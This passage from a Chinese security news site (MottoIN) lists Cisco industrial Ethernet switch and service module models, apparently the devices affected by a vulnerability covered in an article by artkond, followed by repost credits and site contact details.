  Cisco IE-4000-8GT4G-EIndustrial Ethernet Switch
  Cisco IE-4000-8GT8GP4G-EIndustrial Ethernet Switch
  Cisco IE-4000-8S4G-EIndustrial Ethernet Switch
  Cisco IE-4000-8T4G-EIndustrial Ethernet Switch
  Cisco IE-4010-16S12PIndustrial Ethernet Switch
  Cisco IE-4010-4S24PIndustrial Ethernet Switch
  Cisco IE-5000-12S12P-10GIndustrial Ethernet Switch
  Cisco IE-5000-16S12PIndustrial Ethernet Switch
  Cisco ME 4924-10GE Switch
  Cisco RF Gateway 10
  Cisco SM-X Layer 2/3EtherSwitch Service Module

 

*作者:artkond,转载请注明来自MottoIN

原创文章,作者:tom,如若转载,请注明出处:http://www.mottoin.com/article/terminal/100358.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code